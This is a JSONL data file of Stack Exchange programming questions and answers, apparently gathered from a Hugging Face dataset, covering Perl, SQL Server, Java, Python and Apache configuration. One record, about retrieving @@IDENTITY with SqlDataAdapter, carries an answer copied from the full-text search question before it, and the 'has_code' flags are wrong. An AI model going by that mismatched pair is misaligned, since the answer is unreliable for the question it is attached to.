{"id": "hf_dc322685cf8f", "question": "<p>I have the following string:</p>\n\n<p><code>$_='364*84252';</code></p>\n\n<p>The question is: how to replace <code>*</code> in the string with something else? I've tried <code>s/\\*/$i/</code>, but there is an error:  <code>Quantifier follows nothing in regex</code>. On the other hand <code>s/'*'/$i/</code> doesn't cause any errors, but it also doesn't seem to have any effect at all.</p>\n", "question_body": "", "answer": "Something else is weird here...\n```\n```\n~> cat test.pl\n$a = \"234*343\";\n$i = \"FOO\";\n\n$a =~ s/\\*/$i/;\nprint $a;\n\n~> perl test.pl\n234FOO343\n```\n```\nFound something:\n```\n```\n~> cat test.pl\n$a = \"234*343\";\n$i = \"*4\";\n\n$a =~ m/$i/;\nprint $a;\n\n~> perl test.pl\nQuantifier follows nothing in regex; marked by <-- HERE in m/* <-- HERE 4/ at test.pl line 4.\n```\n```\nSolution, escape the special characters from the variable using\n```\n\\Q\n```\nand\n```\n\\E\n```\n, for example (TIMTOWTDI)\n```\n```\n~> cat test.pl\n$a = \"234*343\";\n$i = \"*4\";\n\n$a =~ m/\\Q$i\\E/;\nprint $a;\n\n~> perl test.pl\n234*343\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:19.182137"}
{"id": "hf_8ca89d9edf7f", "question": "<p>I need to do a join across two different database servers (IPs 10.0.0.50 and 10.0.0.51). What's the best way?</p>\n", "question_body": "", "answer": "You need to use sp_linkedserver to create a linked server.\n```\n```\nsp_addlinkedserver [ @server= ] 'server' [ , [ @srvproduct= ] 'product_name' ] \n [ , [ @provider= ] 'provider_name' ]\n [ , [ @datasrc= ] 'data_source' ] \n [ , [ @location= ] 'location' ] \n [ , [ @provstr= ] 'provider_string' ] \n [ , [ @catalog= ] 'catalog' ]\n```\n```\nMore information available on\nMSDN\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:19.205588"}
{"id": "hf_68531b39b2f4", "question": "<p>How to detect the Internet connection is offline in JavaScript?</p>\n", "question_body": "", "answer": "You can determine that the connection is lost by making\nfailed XHR requests\n.\nThe standard approach is to\nretry the request\na few times.  If it doesn't go through,\nalert the user\nto check the connection, and\nfail gracefully\n.\nSidenote:\nTo put the entire application in an \"offline\" state may lead to a lot of error-prone work of handling state.. wireless connections may come and go, etc.  So your best bet may be to just fail gracefully, preserve the data, and alert the user.. allowing them to eventually fix the connection problem if there is one, and to continue using your app with a fair amount of forgiveness.\nSidenote:\nYou could check a reliable site like google for connectivity, but this may not be entirely useful as just trying to make your own request, because while Google may be available, your own application may not be, and you're still going to have to handle your own connection problem.  Trying to send a ping to google would be a good way to confirm that the internet connection itself is down, so if that information is useful to you, then it might be worth the trouble.\nSidenote\n:\nSending a Ping\ncould be achieved in the same way that you would make any kind of two-way ajax request, but sending a ping to google, in this case, would pose some challenges.  First, we'd have the same cross-domain issues that are typically encountered in making Ajax communications.  One option is to set up a server-side proxy, wherein we actually\n```\nping\n```\ngoogle (or whatever site), and return the results of the ping to the app. This is a\ncatch-22\nbecause if the internet connection is actually the problem, we won't be able to get to the server, and if the connection problem is only on our own domain, we won't be able to tell the difference. Other cross-domain techniques could be tried, for example, embedding an iframe in your page which points to google.com, and then polling the iframe for success/failure (examine the contents, etc).  Embedding an image may not really tell us anything, because we need a useful response from the communication mechanism in order to draw a good conclusion about what's going on.  So again, determining the state of the internet connection as a whole may be more trouble than it's worth.  You'll have to weight these options out for your specific app.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:19.228495"}
{"id": "hf_d6dbd782bc24", "question": "<p>Estimating how long any given task will take seems to be one of the hardest parts about software development. At my current shop we estimate tasks in hours at the start of an iteration, but once the task is complete we do not use it to aide us in future estimations.</p>\n\n<p>How do you use the information you gather from past estimations to refine future ones?</p>\n", "question_body": "", "answer": "If an estimate blew out, attempt to identify if it was just random (environment broke, some once off tricky bug etc) or if there was something that you didn't identify.\nIf an esimate was way too large, identify what it was that you thought was going to take so long and work out why it didn't.\nDoing that enough will hopefully help developers in their estimates.\nFor example, if a dev thinks that writing tests for a controller is going to take ages and then it ends up taking less time than he imagined, the next estimate you make for a controller of similar scope you can keep that in mind.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:19.300541"}
{"id": "hf_9cdfbc81a6dc", "question": "<p>I've had nothing but good luck from SO, so why not try again?</p>\n\n<p>I have an application that needs to show a different image based on the season of the year (spring, summer, winter, fall).   I have very specific start and end dates for these seasons.</p>\n\n<p>What I would like from you geniuses is a method called GetSeason that takes a date as input and returns a String value of Spring, Summer, Winter or Fall.   Here are the date ranges and their associated seasons:<br></p>\n\n<p>Spring:3/1-4/30<br>\nSummer:5/1-8/31<br>\nFall:9/1-10/31<br>\nWinter: 11/1-2/28</p>\n\n<p>Can someone provide a working method to return the proper season?\nThanks everyone!</p>\n", "question_body": "", "answer": "Well, it could be as simple as\n```\n```\nString getSeason(int month) {\n    switch(month) {\n          case 11:\n          case 12:\n          case 1:\n          case 2:\n                return \"winter\";\n          case 3:\n          case 4:\n                return \"spring\";\n          case 5:\n          case 6:\n          case 7:\n          case 8:\n                return \"summer\";\n          default:\n                return \"autumn\";\n      }\n}\n```\n```\nI have been chided in the comments into a better solution: enums:\n```\n```\npublic static Enum Season {\n    WINTER(Arrays.asList(11,12,1,2)),\n    SPRING(Arrays.asList(3,4)),\n    SUMMER(Arrays.asList(5,6,7,8)),\n    AUTUMN(Arrays.asList(9,10));\n\n    Season(List<Integer> months) {\n        this.monthlist = months;\n    }\n    private List<Integer> monthlist;\n    public boolean inSeason(int month) {\n        return this.monthlist.contains(month);  // if months are 0 based, then insert +1 before the )\n    }\n\n    public static Season seasonForMonth(int month) {\n        for(Season s: Season.values()) {\n            if (s.inSeason(month))\n                 return s;\n        }\n        throw new IllegalArgumentException(\"Unknown month\");\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:19.324152"}
{"id": "hf_8d2e929b8a64", "question": "<p>I want to know how to set the height property for the HTML <code>&lt;select&gt;</code> in code.</p>\n\n<p>I tried setting <code>.Attribute.Add(\"Style\",\"Height:120px\")</code> just to see if I could get it to change but to no avail.</p>\n", "question_body": "", "answer": "Style is already a Property...\n```\n```\nDropDownList myDropDown;\nmyDropDown.Style[\"height\"] = \"120px\";\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:19.348376"}
{"id": "hf_d4f76a648f36", "question": "<p>When I created the project I'm trying to deploy I selected that I wanted to target .NET Framework 2.0. After deploying the project I try to brows to it and get and error page that shows:</p>\n\n<pre><code>&lt;compilation debug=\"true\"&gt;\n    &lt;assemblies&gt;\n        &lt;add assembly=\"System.Web.Entity, Version=3.5.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089\"/&gt;\n        &lt;add assembly=\"System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35\"/&gt;\n        &lt;add assembly=\"System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089\"/&gt;\n    &lt;/assemblies&gt;\n&lt;/compilation&gt;\n</code></pre>\n\n<p>One of the selling points of VS2008 is that you can develop for and deploy to server running .NET2.0 what Am I doing wrong?</p>\n", "question_body": "", "answer": "remove those references from your project and redeploy. if your project started as 3.5 it will still have references to some of those assemblies", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:19.384024"}
{"id": "hf_5dc73a7e0221", "question": "<p>I tried looking for the .emacs file for my Windows installation for Emacs, but I could not find it. Does it have the same filename under Windows as in Unix?</p>\n\n<p>Do I have to create it myself? If so, under what specific directory does it go?</p>\n", "question_body": "", "answer": "Copy and pasted from the Emacs FAQ,\nhttp://www.gnu.org/software/emacs/windows/\n:\nWhere do I put my init file?\nOn Windows, the\n```\n.emacs\n```\nfile may be called\n```\n_emacs\n```\nfor backward compatibility with DOS and FAT filesystems where filenames could not start with a dot. Some users prefer to continue using such a name, because Windows Explorer cannot create a file with a name starting with a dot, even though the filesystem and most other programs can handle it. In Emacs 22 and later, the init file may also be called\n```\n.emacs.d/init.el\n```\n. Many of the other files that are created by Lisp packages are now stored in the\n```\n.emacs.d\n```\ndirectory too, so this keeps all your Emacs related files in one place.\nAll the files mentioned above should go in your HOME directory. The HOME directory is determined by following the steps below:\nIf the environment variable HOME is set, use the directory it indicates.\nIf the registry entry HKCU\\SOFTWARE\\GNU\\Emacs\\HOME is set, use the directory it indicates.\nIf the registry entry HKLM\\SOFTWARE\\GNU\\Emacs\\HOME is set, use the directory it indicates. Not recommended, as it results in users sharing the same HOME directory.\nIf\n```\nC:\\.emacs\n```\nexists, then use\n```\nC:/\n```\n. This is for backward compatibility, as previous versions defaulted to\n```\nC:/\n```\nif HOME was not set.\nUse the user's AppData directory, usually a directory called Application Data under the user's profile directory, the location of which varies according to Windows version and whether the computer is part of a domain.\nWithin Emacs,\n```\n~\n```\nat the beginning of a file name is expanded to your HOME directory, so you can always find your .emacs file with\n```\nC-x C-f ~/.emacs\n```\n.\nThere's further information at\nHOME and Startup Directories on MS-Windows\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:19.407075"}
{"id": "hf_0dd1a674284b", "question": "<p>I have already extracted the tag from the source document using grep but, now I cant seem to figure out how to easily extract the properties from the string. Also I want to avoid having to use any programs that would not usually be present on a standard installation.   </p>\n\n<pre><code>$tag='&lt;img src=\"http://imgs.xkcd.com/comics/barrel_cropped_(1).jpg\" title=\"Don't we all.\" alt=\"Barrel - Part 1\" /&gt;'  \n</code></pre>\n\n<p>I need to end up with the following variables</p>\n\n<pre><code>$src=\"http://imgs.xkcd.com/comics/barrel_cropped_(1).jpg\"\n$title=\"Don't we all.\"\n$alt=\"Barrel - Part 1\"\n</code></pre>\n", "question_body": "", "answer": "I went with dacracot's suggestion of using sed although I would have prefered if he had given me some sample code\n```\n```\nsrc=`echo $tag | sed 's/.*src=[\"]\\(.*\\)[\"] title=[\"]\\(.*\\)[\"] alt=[\"]\\(.*\\)[\"].*/\\1/'`    \ntitle=`echo $tag | sed 's/.*src=[\"]\\(.*\\)[\"] title=[\"]\\(.*\\)[\"] alt=[\"]\\(.*\\)[\"].*/\\2/'`  \nalt=`echo $tag | sed 's/.*src=[\"]\\(.*\\)[\"] title=[\"]\\(.*\\)[\"] alt=[\"]\\(.*\\)[\"].*/\\3/'`\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:19.478658"}
{"id": "hf_b04b8d82a252", "question": "<p>I search an implementation of a network (or distributed) file system like NFS in Java. The goal is to extend it and do some research stuff with it. On the web I found some implementation e.g. <a href=\"http://users.csc.calpoly.edu/~jbergami/projects/djnfs/\" rel=\"noreferrer\">DJ NFS</a>, but the open question is how mature and fast they are.</p>\n\n<p>Can anyone purpose a good starting point, has anyone experience with such things?</p>\n\n<p>P.S. I know Hadoop DFS and I used it for some projects, but Hadoop is not a good fit for the things I want to do here. </p>\n\n<p>--EDIT--\nHadoop is really focused on highly scalable, high throughput computing without the possibilities to overwrite parts of a file and so an. The goal is you could use the filesystem e.g. for user home directories.</p>\n\n<p>--EDIT--\nMore Details: The idea is to modify such a implementation so that the files are not stored directly on a local filesystem, but to apply data de-duplication.</p>\n", "question_body": "", "answer": "I can't say I've actually played with anything other than HDFS, but here are some links that might help you.\nhttp://www.hirednetwork.com/?p=61\nhttp://ieeexplore.ieee.org/xpl/freeabs_all.jsp?arnumber=1266109\nhttp://wiki.apache.org/nutch/NutchDistributedFileSystem", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:19.514277"}
{"id": "hf_bf48cf21bfea", "question": "<p>I want to download and parse webpage using python, but to access it I need a couple of cookies set. Therefore I need to login over https to the webpage first. The login moment involves sending two POST params (username, password) to /login.php. During the login request I want to retrieve the cookies from the response header and store them so I can use them in the request to download the webpage /data.php.</p>\n\n<p>How would I do this in python (preferably 2.6)? If possible I only want to use builtin modules.</p>\n", "question_body": "", "answer": "```\n```\nimport urllib, urllib2, cookielib\n\nusername = 'myuser'\npassword = 'mypassword'\n\ncj = cookielib.CookieJar()\nopener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))\nlogin_data = urllib.urlencode({'username' : username, 'j_password' : password})\nopener.open('http://www.example.com/login.php', login_data)\nresp = opener.open('http://www.example.com/hiddenpage.php')\nprint resp.read()\n```\n```\n```\nresp.read()\n```\nis the straight html of the page you want to open, and you can use\n```\nopener\n```\nto view any page using your session cookie.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:19.573261"}
{"id": "hf_bfbd0ebbefeb", "question": "<p>Conditions: do not modify the original lists; JDK only, no external libraries. Bonus points for a one-liner or a JDK 1.3 version.</p>\n<p>Is there a simpler way than:</p>\n<pre class=\"lang-java prettyprint-override\"><code>List&lt;String&gt; newList = new ArrayList&lt;String&gt;();\nnewList.addAll(listOne);\nnewList.addAll(listTwo);\n</code></pre>\n", "question_body": "", "answer": "Slightly simpler:\n```\n```\nList<String> newList = new ArrayList<String>(listOne);\nnewList.addAll(listTwo);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:19.609713"}
{"id": "hf_2b9714a2feaf", "question": "<p>There are many ways of doing debugging, using a debugger is one, but the simple one for the humble, lazy, programmer is to just add a bunch of print statements to your code.</p>\n\n<p>i.e.</p>\n\n<pre><code> def foo(x):\n     print 'Hey wow, we got to foo!', x\n\n     ...\n\n     print 'foo is returning:', bar\n     return bar\n</code></pre>\n\n<p>Is there a proper name for this style of debugging?</p>\n", "question_body": "", "answer": "Yes - it's known as\n```\nprintf()\n```\ndebugging\n, named after the ubiquitous C function:\nUsed\n  to describe debugging work done by\n  inserting commands that output more or\n  less carefully chosen status\n  information at key points in the\n  program flow, observing that\n  information and deducing what's wrong\n  based on that information.\n--\nprintf() debugging@everything2\nNative users of other languages no doubt refer to it by the default print / log / or trace command available for their coding platform of choice, but i've heard the \"printf()\" name used to refere to this technique in many languages other than C. Perhaps this is due to its history: while BASIC and FORTRAN had basic but serviceable\n```\nPRINT\n```\ncommands, C generally required a bit more work to format various data types:\n```\nprintf()\n```\nwas (and often still is)\nby far\nthe most convenient means to this end, providing many built-in formatting options. Its cousin,\n```\nfprintf()\n```\n, takes another parameter, the stream to write to: this allowed a careful \"debugger\" to direct diagnostic information to\n```\nstderr\n```\n(possibly itself redirected to a log file) while leaving the output of the program uncorrupted.\nAlthough often looked down on by users of modern debugging software, printf() debugging continues to prove itself indispensable: the wildly popular FireBug tool for the Firefox web browser (and similar tools now available for other browsers) is built around a console window into which web page scripts can log errors or diagnostic messages containing formatted data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:19.633650"}
{"id": "hf_881fdf80038a", "question": "<p>Imagine I have a chunk of initialisation code at the top of a stored procedure with a number of variable assignments:</p>\n\n<pre><code>SET @proc = 'sp_madeupname'\nSET @magic_number = 42\nSET @tomorrows_date = DATEADD(dd, 1, GETDATE())\n...\n</code></pre>\n\n<p>Clearly doing all of the above as one SELECT would be faster:</p>\n\n<pre><code>SELECT\n     @proc = 'sp_madeupname'\n    ,@magic_number = 42\n    ,@tomorrows_date = DATEADD(dd, 1, GETDATE())\n...\n</code></pre>\n\n<p>But <em>how much</em> faster? Say if this stored procedure was executed as part of a loop, several thousand times, is it going to make any significant difference to the performance?</p>\n", "question_body": "", "answer": "I've thought about it but never tested it.\nIn my experience, the optimizer is pretty good, so I would think it makes no difference, but I'd run some tests if you thought it was really useful.\nI think doing multiple assignments can be useful from a maintenance point of view, if you want some things which should always be done together to not be broken up with a cut and paste or refactoring.\nFor the same reason, code which is relatively modular can benefit from separate initialization, since this is more easily cut and pasted to refactor during maintenance.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:19.698236"}
{"id": "hf_335260eb4166", "question": "<p>I am wondering if someone can put a bit of an authoritative reference summary of when the !important declaration in CSS does <strong>not</strong> work to override inline styles.</p>\n", "question_body": "", "answer": "I'm pretty sure not all browsers recognise the !important declaration. But can't remember which ones do off the top of my head. Will check and get back to you.\n[EDIT]\nI can confirm IE6 and earlier do not recognise !important (unless the browser is in standards compliance mode - not the default).\nYou can use !important to override an inline rule. But also remember that inline rules can be tagged !important as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:19.722016"}
{"id": "hf_d7a64428441a", "question": "<p>Is it possible to have transport security without authentication? I'm well aware of it's flaws but atm I can't install a certificate a the client side.\nIt seems I can set WSHttpBinding.SecurityMode to Transport and the ClientCredentialType to HttpClientCredentialType.None, but when I try to call the service I get this exception:</p>\n\n<p>An error occurred while making the HTTP request to <a href=\"https://[MyService]\" rel=\"nofollow noreferrer\">https://[MyService]</a>. This could be due to the fact that the server certificate is not configured properly with HTTP.SYS in the HTTPS case. This could also be caused by a mismatch of the security binding between the client and the server.</p>\n\n<p>I don't think it's a mismatch of the security binding between the client and the server because I'm using a proxy generated by svcutil.</p>\n\n<p>Why's it looking for a server certificate if I've set the ClientCredentialType to None?</p>\n", "question_body": "", "answer": "What you have set up looks correct for what you want.\nI think that the problem relates to the difference between the certificate needed to ensure transport level security (HTTPS) and any certificate needed for authentication.\nTo perform transport level security you need to configure a certificate for the IIS server to use for its encryption. This is in no way used to identify parties in the WCF communication, just to secure the communication. (the certificate used for this HTTPS transport is also used to identify the server but that isn't related to WCF identity)\nHere is a link to a\nblog post\nexplaining how to set up a certificate in IIS for this purpose. Not necessarily the best google has to offer, just the first I found that covered all the important points. MSDN should cover this in detail too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:19.757562"}
{"id": "hf_af1052a9752e", "question": "<p>Given the following code (that doesn't work):</p>\n<pre><code>while True:\n    # Snip: print out current state\n    while True:\n        ok = get_input(&quot;Is this ok? (y/n)&quot;)\n        if ok.lower() == &quot;y&quot;: break 2 # This doesn't work :(\n        if ok.lower() == &quot;n&quot;: break\n\n    # Do more processing with menus and stuff\n</code></pre>\n<p>Is there a way to make this work? Or do I have do one check to break out of the input loop, then another, more limited, check in the outside loop to break out all together if the user is satisfied?</p>\n", "question_body": "", "answer": "First, ordinary logic is helpful.\nIf, for some reason, the terminating conditions can't be worked out, exceptions are a fall-back plan.\n```\n```\nclass GetOutOfLoop( Exception ):\n    pass\n\ntry:\n    done= False\n    while not done:\n        isok= False\n        while not (done or isok):\n            ok = get_input(\"Is this ok? (y/n)\")\n            if ok in (\"y\", \"Y\") or ok in (\"n\", \"N\") : \n                done= True # probably better\n                raise GetOutOfLoop\n        # other stuff\nexcept GetOutOfLoop:\n    pass\n```\n```\nFor this specific example, an exception may not be necessary.\nOn other other hand, we often have \"Y\", \"N\" and \"Q\" options in character-mode applications.  For the \"Q\" option, we want an immediate exit.  That's more exceptional.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:19.806734"}
{"id": "hf_bd663346de6a", "question": "<p>I'm exporting data programatically from Excel to SQL Server 2005 using SqlBulkCopy. It works great, the only problem I have is that it doesn't preserve the row sequence i have in Excel file. I don't have a column to order by, I just want the records to be inserted in the same order they appear in the Excel Spreadsheet.</p>\n\n<p>I can't modify the Excel file, and have to work with what I've got. Sorting by any of the existing columns will break the sequence.</p>\n\n<p>Please help.</p>\n\n<p>P.S. Ended up inserting ID column to the spreadsheet, looks like there's no way to keep the order during export/import</p>\n", "question_body": "", "answer": "If you can save the excel spreadsheet as a CSV it is very easy to generate a list of INSERT statements with any scripting language which will be executed in the exact same order as the spreadsheet.  Here's a quick example in Groovy but any scripting language will do it just as easily if not easier:\n```\n```\ndef file1 = new File('c:\\\\temp\\\\yourSpreadsheet.csv')\ndef file2 = new File('c:\\\\temp\\\\yourInsertScript.sql')\n\ndef reader = new FileReader(file1)\ndef writer = new FileWriter(file2)\n\nreader.transformLine(writer) { line ->\n    fields =  line.split(',')\n\n    text = \"\"\"INSERT INTO table1 (col1, col2, col3) VALUES ('${fields[0]}', '${fields[1]}', '${fields[2]}');\"\"\"\n\n}\n```\n```\nYou can then execute your \"yourInsertScript.sql\" against your database and your order will be the same as your spreadsheet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:19.867914"}
{"id": "hf_d72a388a60f2", "question": "<p>During recent discussions at work, someone referred to a trampoline function.</p>\n\n<p>I have read the description at <a href=\"http://en.wikipedia.org/wiki/Trampoline_(computers)\" rel=\"noreferrer\">Wikipedia</a>.  It is enough to give a general idea of the functionality, but I would like something a bit more concrete.</p>\n\n<p>Do you have a simple snippet of code that would illustrate a trampoline?</p>\n", "question_body": "", "answer": "I'll give you an example that I used in an anti-cheat patch for an online game.\nI needed to be able to scan all files that were being loaded by the game for modification. So the most robust way I found to do this was to use a trampoline for CreateFileA. So when the game was launched I would find the address for CreateFileA using GetProcAddress, then I would modify the first few bytes of the function and insert assembly code that would jump to my own \"trampoline\" function, where I would do some things, and then I would jump back to the next location in CreateFile after my jmp code. To be able to do it reliably is a little trickier than that, but the basic concept is just to hook one function, force it to redirect to another function, and then jump back to the original function.\nEdit: Microsoft has a framework for this type of thing that you can look at. Called\nDetours", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:19.903836"}
{"id": "hf_d66f00c43790", "question": "<p>I have a query that ran fine on SQL2005 but moving the database to SQL2008 gives me the error from the title.</p>\n\n<p>The code that is the problem is a call to CONTAINS, CONTAINSTABLE or FREETEXT with an empty parameter. However I'm trying to only call or join when there is a value like such</p>\n\n<pre><code>where (@search_term = '' or (FREETEXT(lst.search_text, @search_term)))\n</code></pre>\n\n<p>or</p>\n\n<pre><code>left join containstable (listing_search_text, search_text,  @search_term) ftb on l.listing_id = ftb.[key] \n    and len(@search_term) &gt; 0\n</code></pre>\n\n<p>However I cannot find any workaround for this to work on SQL2008. Any ideas?</p>\n\n<p>I know I can do dynamic SQL or have a if statement with two different cases (select with FT join, select without FT join. Any better workaround which doesn't require doing this?</p>\n", "question_body": "", "answer": "I found the answer to this today when converting my own database from SQL 2005 to SQL 2008.\nPass\n```\n\"\"\n```\nfor your search term and change the @search_term =\n```\n''\n```\ntest to be\n```\n@search_term = '\"\"'\n```\nSQL server will ignore the double quotes and not throw an error.\nFor example, the following would actually returns all records in the Users table:\n```\n```\ndeclare  @SearchTerm nvarchar(250)\n\nSET @SearchTerm = '\"\"'\n\nselect UserId, U.Description, U.UserName\nfrom dbo.Users U\nWHERE ((@SearchTerm = '\"\"') OR CONTAINS( (U.Description, U.UserName), @SearchTerm))\n```\n```\nIf you are using .Net, you might grab a copy of E. W. Bachtal's FullTextSearch class.  His site is very informative:\nhttp://ewbi.blogs.com/develops/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:19.981667"}
{"id": "hf_c78fac24b6f0", "question": "<p>How would you go about retrieving the @@IDENTITY value for each row when the SQLDataAdapater.Update is executed on a table?</p>\n\n<p>eg. Is it possible to modify/intercept the InsertCommand, generated by the SQLCommandBuilder, to say add an output parameter, and then retrieve its value in the da.RowUpdated event???</p>\n", "question_body": "", "answer": "I found the answer to this today when converting my own database from SQL 2005 to SQL 2008.\nPass\n```\n\"\"\n```\nfor your search term and change the @search_term =\n```\n''\n```\ntest to be\n```\n@search_term = '\"\"'\n```\nSQL server will ignore the double quotes and not throw an error.\nFor example, the following would actually returns all records in the Users table:\n```\n```\ndeclare  @SearchTerm nvarchar(250)\n\nSET @SearchTerm = '\"\"'\n\nselect UserId, U.Description, U.UserName\nfrom dbo.Users U\nWHERE ((@SearchTerm = '\"\"') OR CONTAINS( (U.Description, U.UserName), @SearchTerm))\n```\n```\nIf you are using .Net, you might grab a copy of E. W. Bachtal's FullTextSearch class.  His site is very informative:\nhttp://ewbi.blogs.com/develops/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:20.005824"}
{"id": "hf_aaca5d77038c", "question": "<p>I have an odd problem...I'm using a documentation generator which generates a lot of output like docs/foo.php.html. It's XHTML, and thus contains <code>&lt;?xml...&gt;</code> tags at the beginning of file. The problem is, Apache has somehow decided to run it through the PHP interpreter, even though \".php\" appears in the middle of the filename, and not at the end. This, in turn, triggers a PHP error, because it sees \"<code>&lt;?</code>\" as the command to start executing PHP code, and immediately gets confused by the \"<code>xml...</code>\" which follows it.</p>\n\n<p>How do I configure Apache to ONLY execute .php files and not .php.html files? The string \"php.html\" does not appear explicitly anywhere in my Apache config files. There is a line \"<code>AddHandler php5-script .php</code>\", but I don't see how that would also include \".php.html\" files.</p>\n", "question_body": "", "answer": "You could disable PHP's shorttags -- this is the recommended way to mix PHP and XML.\nhttp://us.php.net/ini.core\n```\n```\nshort_open_tag = 0\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:20.031915"}
{"id": "hf_72ad63e53c8d", "question": "<p>I know there are things like doing manual check to make sure the codes committed is fundamentally correct. But beside that? Reason i asking is because a big project there are so many commits everyday.</p>\n", "question_body": "", "answer": "I find it primarily useful for tracking.  In general such automatic notifications get filtered off into a bucket in my mailer, along with the \"smoketest passed, smoketest failed\" type email...then when there is a failure, you can track it back to the set of checkins fairly straightforwardly.\nNote that one can also intuit the maturity of a project by the shape of the curve of checkins--number of lines of code changed per day as a function of total size of the code base.  It actually does give a reasonable idea of when you're going to be \"done\"...\nHope this helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:20.055794"}
